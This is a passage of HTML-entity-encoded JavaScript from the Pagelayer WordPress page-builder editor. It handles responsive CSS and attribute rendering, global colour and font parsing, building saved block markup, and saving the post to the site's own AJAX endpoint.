				if(&#039;addAttr&#039; in props[x]){
					
					var addAttr;
					
					// Convert the string to an array
					if(typeof props[x][&#039;addAttr&#039;] === &#039;string&#039;){
						addAttr = [props[x][&#039;addAttr&#039;]];
					}else{
						addAttr = props[x][&#039;addAttr&#039;];
					}
					
					for(var c in addAttr){
							
						// The selector
						var tSel = jQuery.isNumeric(c) ? &#039;&#039; : c;
						var tmp = {&#039;sel&#039;: tSel, &#039;val&#039;: addAttr[c]};
						
						// If the value is there
						if(x in el.atts){
							elCSS[&#039;attr&#039;].push(tmp);
						}else{
							elCSS[&#039;remove_attr&#039;].push(tmp);
						}
					}
				}
				
				// Do we have a CSS ? 
				if(&#039;css&#039; in props[x]){
					
					var css;
	
					// Convert the string to an array
					if(typeof props[x][&#039;css&#039;] === &#039;string&#039;){
						css = [props[x][&#039;css&#039;]];
					}else{
						css = props[x][&#039;css&#039;];
					}
					
					// Screen modes
					var modes = {desktop: &#039;&#039;, tablet: &#039;_tablet&#039;, mobile: &#039;_mobile&#039;};
					var desk_global = (props[x][&#039;type&#039;] == &#039;typography&#039;) ? pagelayer_is_global_typo(el.atts[x]) : &#039;&#039;;
					
					for(var m in modes){
						
						var xm = x+modes[m];
						
						// If the value is there
						if(!(xm in el.atts) &amp;&amp; pagelayer_empty(desk_global)){
							continue;
						}
						
						var xm_val = el.atts[xm];
						
						// If is global color
						if(props[x][&#039;type&#039;] == &#039;color&#039;){
							xm_val = pagelayer_parse_color(el.atts[xm]);
						}
						
						// If is global font
						if(props[x][&#039;type&#039;] == &#039;typography&#039;){
							xm_val = pagelayer_parse_typo(xm_val, false, desk_global, m);
						}
						
						// If there is global gradient color
						if(props[x][&#039;type&#039;] == &#039;gradient&#039;){
							
							if(pagelayer_is_string(xm_val)){
								xm_val = xm_val.split(&#039;,&#039;);
							}
							
							for(key in xm_val){								
								xm_val[key] = pagelayer_parse_color(xm_val[key]);
							}
							
						}
						
						for(var c in css){
								
							// The selector
							var tSel = jQuery.isNumeric(c) ? &#039;{{element}}&#039; : c;
							var tmp = {
								sel: tSel, 
								val: pagelayer_css_render(css[c], xm_val, (props[x].sep || &#039;,&#039;)),
							};
							
							// Is this a tablet
							if(m == &#039;tablet&#039;){
								tmp.sel = &#039;@media (max-width: &#039;+ pagelayer_settings[&#039;tablet_breakpoint&#039;] +&#039;px) and (min-width: &#039;+ (pagelayer_settings[&#039;mobile_breakpoint&#039;] +1) +&#039;px){&#039;+tmp.sel;
								tmp.val = tmp.val+&#039;}&#039;;
							}
							
							// Is this a mobile mode ?
							if(m == &#039;mobile&#039;){
								tmp.sel = &#039;@media (max-width: &#039;+ pagelayer_settings[&#039;mobile_breakpoint&#039;] +&#039;px){&#039;+tmp.sel;
								tmp.val = tmp.val+&#039;}&#039;;
							}
							
							// Push to store
							elCSS.css.push(tmp);
						}
					
					}
					
				}
				
			}
			
		}
		
	}
	
	// If there is an HTML, then process it
	if(&#039;html&#039; in pagelayer_shortcodes[el.tag]){
	
		// Is there a function to render ?
		var fn = window[&#039;pagelayer_render_&#039;+jEle.attr(&#039;pagelayer-tag&#039;)];
		
		if(typeof fn == &#039;function&#039;){
			fn(el);
		}
		
		el.iHTML = jQuery(&#039;&lt;div&gt;&#039;+pagelayer_shortcodes[el.tag][&#039;html&#039;]+&#039;&lt;/div&gt;&#039;);
		
		// Lets process the &#039;if-ext&#039;
		el.iHTML.find(&#039;[if-ext]&#039;).each(function (){
			var $j = jQuery(this);
			var reqvar = pagelayer_var($j.attr(&#039;if-ext&#039;));
			$j.removeAttr(&#039;if-ext&#039;);
			
			// Is the element there ?
			if(!(reqvar in el.atts &amp;&amp; !pagelayer_empty(el.atts[reqvar]))){
				//console.log(&#039;HERE&#039;);
				$j[0].outerHTML = $j.html();
			}
			
		});
		
		// Lets process the &#039;if&#039;
		el.iHTML.find(&#039;[if]&#039;).each(function (){
			var $j = jQuery(this);
			var reqvar = pagelayer_var($j.attr(&#039;if&#039;));
			$j.removeAttr(&#039;if&#039;);
			
			// Is the element there ?
			if(!(reqvar in el.atts &amp;&amp; !pagelayer_empty(el.atts[reqvar]))){
				//console.log(&#039;HERE&#039;);
				$j.remove();
			}
			
		});
		
		//console.log(el.atts);
		
		// Parse the variables
		var new_html = pagelayer_parse_vars(el.iHTML.html(), el);
		el.iHTML.html(new_html);
		
		// Do we have to wrap the innerHTML ?
		if(&#039;holder&#039; in pagelayer_shortcodes[el.tag]){
			
			var hSel = pagelayer_shortcodes[el.tag][&#039;holder&#039;];
			var holder = jEle.find(hSel).first();
			
			// Detach the holder
			holder.detach();
			
			// Add the new HTML
			el.$.html(el.iHTML.html());
			
			// reAttach the children only
			el.$.find(hSel).html(holder.children());
		
		// No holder
		}else{
		
			//console.log(el.iHTML.html());
			el.$.html(el.iHTML.html());
		
		}
		
	// Rows, Cols and Groups
	}else{
	
		// Is there a function to render ?
		var fn = window[&#039;pagelayer_sc_render_&#039;+jEle.attr(&#039;pagelayer-tag&#039;)];
		
		if(typeof fn == &#039;function&#039;){
			fn(el);
		}
		
	}
	
	// Is there a function to render after HTML insertion but before CSS and attr ?
	var post = window[&#039;pagelayer_render_html_&#039;+jEle.attr(&#039;pagelayer-tag&#039;)];
	
	if(typeof post == &#039;function&#039;){
		post(el);
	}
	
	////////////////////////////
	// Are there any edit fields ?
	////////////////////////////
	
	if(elCSS.edit.length &gt; 0){
		
		for(var c in elCSS.edit){
			var prop = elCSS.edit[c][&#039;prop&#039;];
			var tSel = elCSS.edit[c][&#039;sel&#039;];
			var node = tSel.length &lt; 1 ? jEle : jEle.find(tSel);
			node.attr({&#039;pagelayer-editable&#039;: prop, &#039;contenteditable&#039; : &#039;true&#039;});
		}
		
	}
	
	////////////////////////////
	// Are there any addClass ?
	////////////////////////////
	
	// If we have any classes to add
	if(elCSS.classes.length &gt; 0){
		//console.log(elCSS.classes);
		
		for(var c in elCSS.classes){
			var tSel = elCSS.classes[c][&#039;sel&#039;].replace(&#039;{{element}}&#039;, &#039;&#039;);
			var node = tSel.length &lt; 1 ? jEle : jEle.find(tSel);
			if(!node.hasClass(elCSS.classes[c][&#039;val&#039;])){
				node.addClass(elCSS.classes[c][&#039;val&#039;]);
			}
		}
	}
	
	// If we have any classes to remove
	if(elCSS.remove_classes.length &gt; 0){
		//console.log(elCSS.remove_classes);
		
		for(var c in elCSS.remove_classes){
			var tSel = elCSS.remove_classes[c][&#039;sel&#039;].replace(&#039;{{element}}&#039;, &#039;&#039;);
			var node = tSel.length &lt; 1 ? jEle : jEle.find(tSel);
			if(node.hasClass(elCSS.remove_classes[c][&#039;val&#039;])){
				node.removeClass(elCSS.remove_classes[c][&#039;val&#039;]);
			}
		}
	}
	
	////////////////////////////
	// Are there any addAttr ?
	////////////////////////////
	
	// If we have any attributes to add
	if(elCSS.attr.length &gt; 0){
		//console.log(elCSS.attr);
		
		for(var c in elCSS.attr){
			var tSel = elCSS.attr[c][&#039;sel&#039;].replace(&#039;{{element}}&#039;, &#039;&#039;);
			var node = tSel.length &lt; 1 ? jEle : jEle.find(tSel);
			var att = elCSS.attr[c][&#039;val&#039;].split(/=(.*)/);
			att[1] = pagelayer_parse_vars(att[1], el);
			att[1] = pagelayer_trim(att[1], &#039;&quot;&#039;);
			
			// Is it the same val ?
			if(!node.attr(att[0]) !== att[1]){
				node.attr(att[0], att[1]);
			}
		}
	}
	
	// If we have any attributes to add
	if(elCSS.remove_attr.length &gt; 0){
		//console.log(elCSS.remove_attr);
		
		for(var c in elCSS.remove_attr){
			var tSel = elCSS.remove_attr[c][&#039;sel&#039;].replace(&#039;{{element}}&#039;, &#039;&#039;);
			var node = tSel.length &lt; 1 ? jEle : jEle.find(tSel);
			var att = elCSS.remove_attr[c][&#039;val&#039;].split(&#039;=&#039;);
			
			if(node.is(&#039;[&#039;+att[0]+&#039;]&#039;)){
				node.removeAttr(att[0]);
			}
		}
	}
	
	// The style element
	var style = pagelayer.$(&#039;[pagelayer-style-id=&#039;+el.id+&#039;]&#039;);
	
	// If we have any RULES CSS, then handle it
	if(elCSS.css.length &gt; 0){
		
		// Did we find it ?
		if(style.length &lt; 1){
			jEle.prepend(&#039;&lt;style pagelayer-style-id=&quot;&#039;+el.id+&#039;&quot;&gt;&lt;/style&gt;&#039;);
		}
		
		// Get it again
		style = pagelayer.$(&#039;[pagelayer-style-id=&#039;+el.id+&#039;]&#039;);
		
		// Make the rules
		var rules = [];
		
		// Loop
		for(var c in elCSS.css){
			var tSel = pagelayer_parse_el_vars(elCSS.css[c][&#039;sel&#039;], el);
			var rule = elCSS.css[c][&#039;val&#039;];
			if(tSel.length &gt; 0){
				rules.push(tSel+&#039;{&#039;+rule+&#039;}&#039;);
			}else{
				rules.push(pagelayer_parse_el_vars(rule, el));
			}
		}
	
		// CSS Selector overide
		if(!pagelayer_empty(all_props[&#039;overide_css_selector&#039;])){
			for(var r in rules){
				var overide_css_selector = pagelayer_parse_el_vars(all_props[&#039;overide_css_selector&#039;], el);
				rules[r] = rules[r].split(el.CSS.cssSel).join(overide_css_selector);
				rules[r] = rules[r].split(el.CSS.wrap).join(overide_css_selector);
			}
		}
		
		// Set the style
		style.html(pagelayer_parse_vars(rules.join(&quot;\n&quot;), el));
		//console.log(style);
	}else{
		style.remove();
	}
	
	// Is there a function to render at the end ?
	var end = window[&#039;pagelayer_render_end_&#039;+jEle.attr(&#039;pagelayer-tag&#039;)];
	
	if(typeof end == &#039;function&#039;){
		end(el);
	}
	
	// If the element have any parent
	var par = pagelayer_get_parent(jEle);
	var eleId = el.id;

	if(par){
		eleId = par;
		pagelayer_sc_render(pagelayer_ele_by_id(par));
	}
	
	// Render End trigger
	pagelayer_trigger_action(&#039;pagelayer_sc_render_end&#039;, [el]);
		
	var gEle = pagelayer_ele_by_id(eleId);
	var gId = pagelayer_get_global_id(gEle);
		
	pagelayer_el_dump_data(jEle);

	// If global id exist then update the global array and restup the all global element
	if(!pagelayer_empty(gId) &amp;&amp; !pagelayer_empty(pagelayer.global_render)){
		if(!pagelayer_empty(pagelayer_global_widgets[gId])){
			pagelayer_global_widgets[gId].$ = gEle[0].outerHTML;
			pagelayer_global_widgets[gId][&#039;is_dirty&#039;] = true;
			pagelayer_setup_global_widgets(gId, pagelayer_ele_by_id(eleId), true);
		}else{
			pagelayer_set_atts(gEle, &#039;global_id&#039;, &#039;&#039;);
		}
	};
		
};

// Is the given global color
function pagelayer_is_global_color(color){
	
	var color_key = color.substr(0, 1) == &#039;$&#039; ? color.substr(1) : &#039;&#039;;
	
	// If global color not exist
	if(!pagelayer_empty(color_key)){
		
		if(!(color_key in pagelayer_global_colors)){
			color_key = &#039;primary&#039;;
		}
		
		return color_key;
	}
	
	return false;
	
}

// Is the given global color
function pagelayer_is_global_typo(value){
	
	var typo_key = &#039;&#039;;
	
	// Backward compatibility
	if(pagelayer_is_string(value) &amp;&amp; value.substr(0, 1) == &#039;$&#039;){
		typo_key = value.substr(1);
	}
	
	if(typeof value == &#039;object&#039; &amp;&amp; &#039;global-font&#039; in value){
		typo_key = value[&#039;global-font&#039;];
	}
		
	// If global color not exist
	if(!pagelayer_empty(typo_key) &amp;&amp; !(typo_key in pagelayer_global_fonts)){
		typo_key = &#039;primary&#039;;
	}
	
	return typo_key;
	
}

// Parse typography and handle Backward compatibility
function pagelayer_parse_typo(value, noglobal, desk_global, mode){
	
	noglobal = noglobal || false;
	mode = mode || &#039;desktop&#039;;
	desk_global = desk_global || &#039;&#039;;
	
	if(pagelayer_empty(value)){
		value = {};
	}
	
	// Backward compatibility for comma seperated val
	if(pagelayer_is_string(value) &amp;&amp; value.substr(0, 1) != &#039;$&#039;){
		return value.split(&#039;,&#039;);
	}
	
	var val = [&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;&#039;,&#039;&#039;];
	var typos = [&#039;font-family&#039;, &#039;font-size&#039;, &#039;font-style&#039;, &#039;font-weight&#039;, &#039;font-variant&#039;, &#039;text-decoration-line&#039;, &#039;text-decoration-style&#039;, &#039;line-height&#039;, &#039;text-transform&#039;, &#039;letter-spacing&#039;, &#039;word-spacing&#039;];
	
	var global_typo = pagelayer_is_global_typo(value);
	var _desk_global = false;
	
	if(pagelayer_empty(global_typo)){
		global_typo = desk_global;
		_desk_global = true;
	}
	
	// Apply global typo
	for(var typo in typos){
		
		var typoKey = typos[typo];
		
		// Backspace compatibility for normal array
		if(typeof value == &#039;object&#039; &amp;&amp; !pagelayer_empty(value[typo])){
			val[typo] = value[typo];
		}
		
		if(!pagelayer_empty(value[typoKey])){
			val[typo] = value[typoKey];
		}
		
		if(pagelayer_empty(global_typo) || !pagelayer_empty(val[typo]) || noglobal){
			continue;
		}
		
		var globalVal = pagelayer_global_fonts[global_typo][&#039;value&#039;];
		
		if( !(typoKey in globalVal) || pagelayer_empty(globalVal[typoKey]) || (typeof globalVal[typoKey] == &#039;object&#039; &amp;&amp; pagelayer_empty(globalVal[typoKey][mode])) || (typeof globalVal[typoKey] != &#039;object&#039; &amp;&amp; !pagelayer_empty(_desk_global) &amp;&amp; mode != &#039;desktop&#039;) ){
			continue;
		}
		
		val[typo] = &#039;var(--pagelayer-font-&#039;+global_typo+&#039;-&#039;+typoKey+&#039;)&#039;;
	}
	
	return val;
}

// Parse color for global color
function pagelayer_parse_color(value, glob_var = true){
		
	var is_global = pagelayer_is_global_color(value);
	if(pagelayer_empty(is_global)){
		return value;
	}
	
	if(pagelayer_empty(glob_var)){
		return pagelayer_global_colors[is_global][&#039;value&#039;];
	}
	
	return &#039;var(--pagelayer-color-&#039;+is_global+&#039;)&#039;;
}

// Is the given tag a group
function pagelayer_is_group(tag){
	
	if(&#039;has_group&#039; in pagelayer_shortcodes[tag] &amp;&amp; !pagelayer_empty(pagelayer_shortcodes[tag][&#039;has_group&#039;])){
		return true;
	}
	
	return false;
	
}

// Do action / event
function pagelayer_trigger_action(act, param = []){
	jQuery(document).trigger(act, param);
}

// Perform a function on an action / event
function pagelayer_add_action(act, func){
	jQuery(document).on(act, func);
}

// Create array of the contact from template params 
function pagelayer_get_contact_templates(){
	
	var contacts = jQuery(pagelayer_editable+&#039; [pagelayer-tag=pl_contact]&#039;);
	var contacts_props = {};
	if(contacts.length &gt; 0){
		
		contacts.each(function(){
			
			var tmp = pagelayer_data(jQuery(this));
			var con_allowed = [&#039;to_email&#039;, &#039;from_email&#039;, &#039;cont_subject&#039;, &#039;cont_header&#039;, &#039;cont_body&#039;, &#039;cont_use_html&#039;];
			
			if(pagelayer_empty(tmp.atts[&#039;contact_custom_templ&#039;])) return true;
			
			// Define blank array
			contacts_props[tmp.id] = {};
			
			for(var x in con_allowed){
				var key = con_allowed[x];
				if(!pagelayer_empty(tmp.atts[key])){
					contacts_props[tmp.id][key] = tmp.atts[key];
				}
			}
			
		});
	}
	
	return contacts_props;
}

// Save data or meta of the post
function pagelayer_update_post_data(){
	
	var tag = &#039;pl_post_props&#039;;
	var jEle = jQuery(pagelayer_editable+&#039; [pagelayer-tag=&quot;&#039;+tag+&#039;&quot;]&#039;);
  
	if(jEle.length &lt; 1){
		return;
	}

	var tmp = pagelayer_data(jEle, true);
	var all_props = pagelayer_shortcodes[tag];
	
	// Loop through all props
	for(var i in pagelayer_tabs){
		
		var tab = pagelayer_tabs[i];

		for(var section in all_props[tab]){
			
			var props = section in pagelayer_shortcodes[tag] ? pagelayer_shortcodes[tag][section] : pagelayer_styles[section];
			
			for(var x in props){
				//Set pagelayer POST data to send with save ajax
				if(x in tmp[&#039;atts&#039;]){
					pagelayer_ajax_post_data[x] = tmp[&#039;atts&#039;][x];  
				}else if(x in pagelayer_ajax_post_data){
					delete pagelayer_ajax_post_data[x];
				}
			}
		}
	}
}

// Get the nav menu updated data 
function pagelayer_get_nav_items(jEle, _content){
	
	_content = _content || false;
	
	var pagelayer_nav_items = {};
	
	jEle.find(&#039;[pagelayer-tag=&quot;pl_nav_menu_item&quot;]&#039;).each(function(){
		var cEle = jQuery(this),
		postID = pagelayer_get_att(cEle, &#039;ID&#039;);		
		
		if(!(postID in pagelayer_menus_items_ref)){
			return;
		}
		
		var ref_data = pagelayer_menus_items_ref[postID];
		
		if(!(&#039;pagelayer_content&#039; in ref_data) &amp;&amp; pagelayer_empty(ref_data[&#039;pagelayer_content&#039;])){
			ref_data[&#039;pagelayer_content&#039;] = cEle;
		}
		
		if(!(&#039;is_dirty&#039; in ref_data) || pagelayer_empty(ref_data[&#039;is_dirty&#039;])){
			return;
		}
		
		var content = &#039;&#039;,
		tmp = {};
		tmp = Object.assign(tmp, ref_data);
		pagelayer_nav_items[postID] = {};
		
		// Update Mega menu content
		if(!pagelayer_empty(_content)){
			var navItem = jQuery(ref_data[&#039;pagelayer_content&#039;])[0].outerHTML;
			var _navItem = jQuery(navItem);
			
			// If is not mega menu
			if(&#039;menu_type&#039; in tmp &amp;&amp; tmp[&#039;menu_type&#039;] != &#039;mega&#039;){
				_navItem.find(&#039;.pagelayer-menu-item-holder&#039;).empty();
			}
			
			content = pagelayer_generate_sc(_navItem, true);
			content = pagelayer_Base64.encode(content);
			
			// Send data to save
			var allowed_post = [&#039;title&#039;];
			
			for(var key in allowed_post){
				
				var post_prop = allowed_post[key];
				
				if(!(post_prop in tmp)){
					continue;
				}
				
				pagelayer_nav_items[postID][post_prop] = tmp[post_prop]
			}
			
		}else{
			pagelayer_nav_items[postID] = tmp;
		}
		
		// Delete the html content
		delete tmp[&#039;pagelayer_content&#039;];
		
		pagelayer_nav_items[postID][&#039;_pagelayer_content&#039;] = content;
		
	});
	
	return pagelayer_nav_items;
}

// Save data or meta of the nav post
function pagelayer_update_nav_menu_data(){
	
	var tag = &#039;pl_wp_menu&#039;;
	
	pagelayer_ajax_post_data[&#039;pagelayer_nav_items&#039;] = {};
	
	jQuery(pagelayer_editable+&#039; [pagelayer-tag=&quot;&#039;+tag+&#039;&quot;]&#039;).each(function(){
		
		var jEle = jQuery(this);
		var menu_ID = pagelayer_get_att(jEle, &#039;nav_list&#039;);		
		
		if(!pagelayer_empty(pagelayer_ajax_post_data[&#039;pagelayer_nav_items&#039;][menu_ID])){
			return;
		}
		
		// Get the Current menu items
		var items = pagelayer_get_nav_items(jEle, true);
		
		if(pagelayer_empty(items)){
			return;
		}
		
		pagelayer_ajax_post_data[&#039;pagelayer_nav_items&#039;][menu_ID] = items;  
			
	});
}

// Save the customizer settings
function pagelayer_update_customizer_settings(){
	
	var tag = &#039;pl_customizer&#039;;
	var jEle = jQuery(pagelayer_editable+&#039; [pagelayer-tag=&quot;&#039;+tag+&#039;&quot;]&#039;);
  
	if(jEle.length &lt; 1){
		return;
	}

	var tmp = pagelayer_data(jEle, true);
	pagelayer_ajax_post_data[&#039;pagelayer_customizer_options&#039;] = JSON.stringify(tmp[&#039;atts&#039;]);

}

// Save the post
function pagelayer_save(){
	
	// hiding and showing loading animation	
	pagelayer.$$(&#039;.pagelayer-update-text&#039;).hide();
	pagelayer.$$(&#039;.pagelayer-update-loader&#039;).show();
	
	pagelayer_trigger_action(&#039;pagelayer_save&#039;);
	
	var pagelayerajaxurl = pagelayer_ajax_url+&#039;&amp;action=pagelayer_save_content&amp;postID=&#039;+pagelayer_postID;
	var post = pagelayer_generate_sc(pagelayer_editable);//alert(post);return;
	
	// Update data or meta of the post
	pagelayer_update_post_data();
  
	// Update Customizer Settings
	pagelayer_update_customizer_settings();

	// Update nav menu
	pagelayer_update_nav_menu_data();

	if(pagelayer_empty(pagelayer.post_status) &amp;&amp; !pagelayer_empty(pagelayer_ajax_post_data[&#039;post_status&#039;])){
		pagelayer.post_status = pagelayer_ajax_post_data[&#039;post_status&#039;];
	}
  
	// Do we have contact templates ?
	var contacts_props = pagelayer_get_contact_templates();
	
	// Do we have any global widget to save ?
	var global_data  = {};
	
	if(!pagelayer_empty(pagelayer_global_widgets)){
		global_data = pagelayer_generate_sc_global_widget();
	}
	
	var cancel =  function(){
		pagelayer.$$(&#039;.pagelayer-update-text&#039;).show();
		pagelayer.$$(&#039;.pagelayer-update-loader&#039;).hide();
	}
	
	var save = function(){
		var post_data = {
			pagelayer_update_content : pagelayer_Base64.encode(post),
			pagelayer_nonce: pagelayer_ajax_nonce,
			global_widgets: global_data,
			contacts: contacts_props,
			post_status: pagelayer.post_status,
			copyright: pagelayer_copyright
		}
		
		if(!pagelayer_empty(pagelayer.cmode)){
			post_data.cmode = pagelayer.cmode;
		}
		
		post_data = Object.assign(pagelayer_ajax_post_data, post_data);
		
		jQuery.ajax({
			type: &quot;POST&quot;,
			url: pagelayerajaxurl,
			data: post_data,
			success: function(response, status, xhr){
				//alert(data);
				var obj = jQuery.parseJSON(response);
				//alert(obj);
				
				if(&#039;comment_alerts&#039; in obj){
					console.log(&quot;Alerts:&quot;, obj[&#039;comment_alerts&#039;]);
				}
				
				if(obj[&#039;error&#039;]){
					pagelayer_show_msg(obj[&#039;error&#039;], &#039;error&#039;, 10000);
					if(&#039;comment_errors&#039; in obj){
						console.log(&quot;Errors:&quot;, obj[&#039;comment_errors&#039;]);
					}
				}else{
					pagelayer_show_msg(obj[&#039;success&#039;], &#039;success&#039;, 10000);
					pagelayer_get_revision();
					
					// Update the post status in the post_props, but first find if its actually there !
					var jEle = jQuery(pagelayer_editable).find(&quot;[pagelayer-tag=pl_post_props]&quot;);
					if(jEle.length &gt; 0){
						var id = pagelayer_id(jEle);
						pagelayer_set_atts(jEle, &#039;post_status&#039;, obj[&#039;post_status&#039;]);
						pagelayer_trigger_action(&#039;pagelayer_save_success&#039;, obj[&#039;post_status&#039;]);
					}
					
					pagelayer_do_undirty();					
				}
			},
			error: function(jqXHR, textStatus, errorThrown){
				console.log(errorThrown);
				pagelayer_show_msg(&#039;An error occured while saving ! Status : &#039;+textStatus+&#039; and Error : &#039;+errorThrown, &#039;error&#039;, 10000);
			},
			complete: function(xhr,status){
				pagelayer.$$(&#039;.pagelayer-update-text&#039;).show();
				pagelayer.$$(&#039;.pagelayer-update-loader&#039;).hide();
				
				if(!pagelayer_empty(pagelayer.post_status)){
					pagelayer.$$(&#039;.pagelayer-props-modal .pagelayer-meta-iframe&#039;).attr(&#039;src&#039;, pagelayer_post_props );
					pagelayer.post_status = &#039;&#039;;
				}
			}
		});
	}
	
	// If the content is empty
	if(pagelayer_empty(post)){
		pagelayer_confirmation_box(pagelayer_l(&#039;empty_post_content&#039;), save, cancel);
		return;
	}
	
	save();
};

//Close the Editor
function pagelayer_close(){
	if(pagelayer_isDirty == true){
		var r =	confirm(&#039;Your Data has not been Saved yet! \n Press OK to stay on the Page.&#039;+
		&#039;\n Press Cancel to Close Editor. &#039;);
		if(r == false){
			window.top.location.href = pagelayer_returnURL;
		}
	}else{
		window.top.location.href = pagelayer_returnURL;
	}
};
	
function pagelayer_htmlEntities(str) {
	return String(str).replace(/&amp;/g, &#039;&amp;amp;&#039;).replace(/&lt;/g, &#039;&amp;lt;&#039;).replace(/&gt;/g, &#039;&amp;gt;&#039;).replace(/&quot;/g, &#039;&amp;quot;&#039;);
}

function pagelayer_serializeAttributes(attributes) {
  return JSON.stringify(attributes) // Don&#039;t break HTML comments.
  .replace(/--/g, &quot;\\u002d\\u002d&quot;) // Don&#039;t break non-standard-compliant tools.
  .replace(/&lt;/g, &quot;\\u003c&quot;).replace(/&gt;/g, &quot;\\u003e&quot;).replace(/&amp;/g, &quot;\\u0026&quot;) // Bypass server stripslashes behavior which would unescape stringify&#039;s
  // escaping of quotation mark.
  // See: https://developer.wordpress.org/reference/functions/wp_kses_stripslashes/
  .replace(/\\&quot;/g, &quot;\\u0022&quot;);
}

// Generate blocks Post to save
function pagelayer_generate_sc(selector, selfEle){
	
	selfEle = selfEle || false;
	var txt = &#039;&#039;;
	
	var generate_sc_single = function(jEle){
		
		// The ID
		var id = jEle.attr(&#039;pagelayer-id&#039;);
		
		// If there is an Add element wrapper
		if(pagelayer_empty(id)){
			return;
		}
		
		// Find the type of tag
		var tag = jEle.attr(&#039;pagelayer-tag&#039;);
		var final_tag = tag;
		var closestEle = jEle.closest(&#039;.pagelayer-col-holder&#039;);
		
		// Skip to create shortcode to prevent save, allowed by tag
		if(&#039;skip_save&#039; in pagelayer_shortcodes[tag] &amp;&amp; !pagelayer_empty(pagelayer_shortcodes[tag][&#039;skip_save&#039;])){
			return;
		}
		
		// Define inner row | Note : Commented as we now have a new widget of type inner_row
		/*if(tag == &#039;pl_row&#039; &amp;&amp; closestEle.length &gt; 0 &amp;&amp; closestEle.closest(pagelayer_editable).length &gt; 0){
			final_tag = &#039;pl_inner_row&#039;;
		}*/
		
		if(pagelayer_empty(tag)){
			var err = &#039;Found an error in the content as the TAG was missing. The console will have more details.&#039;;
			pagelayer_show_msg(err, &#039;error&#039;);
			console.log(err);
			console.log(jEle);
		}

		// Define inner column
		if(tag == &#039;pl_col&#039; &amp;&amp; closestEle.length &gt; 0 &amp;&amp; closestEle.closest(pagelayer_editable).length &gt; 0){
			final_tag = &#039;pl_inner_col&#039;;
		}
		//console.log(tag);
		
		// Is there an innerHTML ele
		var inner = &#039;&#039;;
		if(&#039;innerHTML&#039; in pagelayer_shortcodes[tag]){
			inner = pagelayer_shortcodes[tag][&#039;innerHTML&#039;];
		}
		
		// Data reference
		var ref_data = pagelayer_el_data_ref(jEle);
		
		// Create the tag
		var data = JSON.parse(JSON.stringify(ref_data[&#039;attr&#039;]));
		
		data[&#039;pagelayer-id&#039;] = id;
		data = pagelayer_serializeAttributes(data);
				
		var content = &#039;&#039;;
		
		// Any internal function to handle the save ?
		var func = window[&#039;pagelayer_tag_&#039;+tag];
		if(typeof func == &#039;function&#039;){
			
			content = func(jEle);
			
		// If its a Row or Column or Group then it will have children
		}else if(jEle.hasClass(&#039;pagelayer-row&#039;) || jEle.hasClass(&#039;pagelayer-col&#039;) || jEle.hasClass(&#039;pagelayer-inner_row&#039;) || pagelayer_is_group(tag)){
			
			var sel = jEle;
			
			// Any holder which holds children ?
			if(&#039;holder&#039; in pagelayer_shortcodes[tag]){
				sel = jEle.find(pagelayer_shortcodes[tag][&#039;holder&#039;]);
			}
			
			// Select the top-most element
			sel = jQuery(sel).first();
			
			// Any child selector - Majorly for owl carousel
			// NOTE : Child selector should be very specific with immediate child selection at all levels
			var child_selector = false;			
			if(&#039;child_selector&#039; in pagelayer_shortcodes[tag]){
				childSel = sel.find(pagelayer_shortcodes[tag][&#039;child_selector&#039;]);
				
				if(childSel.length &gt; 0){
					sel = childSel;
				}
			}
						
			if(jQuery(sel).children(&quot;.pagelayer-ele-wrap&quot;).length &lt; 1){
				content = jQuery(sel).html(); // Backward Compatibility
			}else{
				content = pagelayer_generate_sc(sel);
				content = &quot;\n&quot;+content;
			}
		
		// Its a normal element so we might need to handle the content
		}else{
			
			if(inner.length &gt; 0){
				content = pagelayer_get_att(jEle, inner);
				if(!content){
					content = &#039;&#039;;
				}
			}else{
				content = &#039;&#039;;//jEle.html();
			}
			
		}
		
		// Leaving HTML and non-pagelayer supported content intact 
		if(final_tag == &#039;pl_missing&#039;){
			txt += content;
			return;
		}
		
		if (pagelayer_empty(content)) {
			txt +=  &quot;&lt;!-- &quot;.concat(pagelayer_block_prefix, &quot;:pagelayer/&quot;).concat(final_tag, &quot; &quot;).concat(data, &quot; /--&gt;\n&quot;);
		}else{
			txt +=  &quot;&lt;!-- &quot;.concat(pagelayer_block_prefix, &quot;:pagelayer/&quot;).concat(final_tag, &quot; &quot;).concat(data, &quot; --&gt;&quot;).concat(content, &quot;&lt;!-- /&quot;).concat(pagelayer_block_prefix, &quot;:pagelayer/&quot;).concat(final_tag, &quot; --&gt;\n&quot;);
		}

	};
	
	// Are you an element for which to generate the codes ?
	if(jQuery(selector).hasClass(&#039;pagelayer-ele&#039;) &amp;&amp; selfEle){
  
		generate_sc_single(jQuery(selector));
  
	// The selector is the holder, so loop thru
	}else{
	
		jQuery(selector).children(&quot;.pagelayer-ele-wrap&quot;).each(function(){
			
			var jEle = jQuery(this).children(&#039;.pagelayer-ele&#039;);
			generate_sc_single(jEle);
			
		});
	
	}
	
	return txt;
	
};

// Show the required leftbar tab
function pagelayer_leftbar_tab(tab){	
	pagelayer.$$(&#039;.pagelayer-leftbar-tab&#039;).hide();
	pagelayer.$$(&#039;#&#039;+tab).show();	
}

// Sets up the leftbar
function pagelayer_leftbar(){
	
	// Toggle the holder
	pagelayer.$$(&#039;.pagelayer-leftbar-toggle&#039;).on(&#039;click&#039;, function(){
		pagelayer.$$(&#039;.pagelayer-leftbar-table&#039;).toggleClass(&#039;pagelayer-leftbar-hidden&#039;);
		pagelayer_trigger_action(&#039;pagelayer-leftbar-toggle&#039;);
	});
	
	// Close leftbar
	pagelayer.$$(&#039;.pagelayer-leftbar-close&#039;).on(&#039;click&#039;, function(){
		pagelayer.$$(&#039;.pagelayer-leftbar-toggle&#039;).click();
	});
	
	// Minimize leftbar
	pagelayer.$$(&#039;.pagelayer-leftbar-minimize&#039;).on(&#039;click&#039;, function(){
		pagelayer.$$(&#039;.pagelayer-leftbar-table&#039;).toggleClass(&#039;pagelayer-leftbar-minimize&#039;);
	});
	
	var html = &#039;&lt;div class=&quot;pagelayer-leftbar&quot;&gt;&#039;+
	&#039;&lt;div class=&quot;pagelayer-leftbar-scroll&quot;&gt;&#039;+
		&#039;&lt;div id=&quot;pagelayer-shortcodes&quot; class=&quot;pagelayer-leftbar-tab pagelayer-shortcodes&quot;&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-widget-tabs&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-widget-tab pagelayer-settings&quot; pagelayer-widget-tab=&quot;settings&quot;&gt;Settings&lt;/div&gt;&#039;+
